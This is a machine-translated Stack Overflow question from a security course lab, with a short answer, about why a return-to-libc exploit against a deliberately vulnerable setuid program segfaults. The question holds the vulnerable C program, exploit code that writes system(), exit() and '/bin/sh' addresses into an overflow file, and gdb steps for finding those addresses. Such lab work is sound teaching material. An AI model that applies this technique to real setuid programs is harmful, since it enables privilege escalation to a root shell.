c - 返回 libc 攻击

标签 c linux buffer-overflow

这是一个由两部分组成的问题:

a)我正在处理 Return-into-libc 攻击,但由于某种原因没有获得 root shell。我应该采用一个易受攻击的程序:retlib.c。

/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
        char buffer[12];
        /* The following statement has a buffer overflow problem */
        fread(buffer, sizeof(char), 128, badfile);
        return 1;
}
int main(int argc, char **argv)
{
        FILE *badfile;
        badfile = fopen("badfile", "r");
        bof(badfile);
        printf("Returned Properly\n");
        fclose(badfile);
        return 1;
}

我正在使用我的漏洞:exploit_1.c

/* exploit_1.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");

    *(long *) &buf[24] = 0xbffffe86; // "/bin/sh"
    *(long *) &buf[16] = 0x40076430; // system()
    *(long *) &buf[20] = 0x40069fb0; // exit()

fwrite(buf, 40, 1, badfile);
fclose(badfile);
}

我使用gdb找到了系统地址并退出:

(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/cs4393/project2/exploit_1 

Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40076430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x40069fb0 <exit>
(gdb) 

我使用myshell.c程序找到了/bin/sh地址:

//myshell.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void main (){
        char* shell = getenv("MYSHELL");
        if(shell)
        printf("%x\n", (unsigned int) shell);
}

比使用命令:

[02/15/2015 21:46] cs4393@ubuntu:~/project2$ export MYSHELL=/bin/sh
[02/15/2015 21:46] cs4393@ubuntu:~/project2$ ./myshell
bffffe86

我觉得我做的一切都是正确的,但我不断收到“段错误(核心转储)”。我没有使用 -fstack-protector,chmod 4755 和 ASLR 已关闭。有什么想法是错误的吗?

b) 我也在使用 retlib-env.c:

/*retlib-env.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
        char buffer[12];
        /* The following statement has a buffer overflow problem */
        fread(buffer, sizeof(char), 128, badfile);
        return 1;
}
int main(int argc, char **argv)
{
        FILE *badfile;
        char* shell=getenv("MYSHELL");
        if(shell)
                printf("%x\n", (unsigned int)shell);
        badfile = fopen("badfile", "r");
        //system(shell);
        bof(badfile);
        printf("Returned Properly\n");
        fclose(badfile);
        return 1;
}

在我看来,这与 a 部分类似,但是“在这个示例中,易受攻击的程序 retlib-env.c 将引用 MYSHELL 环境。”我不知道需要在我的漏洞利用中添加什么才能使其发挥作用。任何朝着正确方向的提示或插入都会非常有帮助。我有 MYSHELL,但我不太确定需要如何引用它来利用 retlib-env.c。它不是应该和a部分非常相似吗?

最佳答案

可能 system()、exit() 等函数的地址在每次程序调用时都会发生变化。您不能依赖于加载程序、调试这些地址、关闭调试 session 并再次运行程序,因为程序可能第二次加载到完全不同的起始地址。

关于c - 返回 libc 攻击,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/28534388/

相关文章:

c - 在 C 中对字符串/结构数组进行排序

linux - Linux 设备驱动程序测试的工具或框架?

linux - 如何将linux内核迁移到更高的内核版本

python - 使用 fgets 导致缓冲区溢出

exploit - 是否可以使用缓冲区溢出覆盖 %eax?

c - 对于这种特殊情况,如何检测 C 中的缓冲区溢出,

c - 如何使用 C 中的字符数组进行函数调用

c - 数组指针的自动类型转换

c++ - IDA PRO 将 C++ 代码转换为 C 代码 __OFSUB__ 宏

c - Linux 异步 epoll() 服务器在 EPOLLRDHUP 发生时出现问题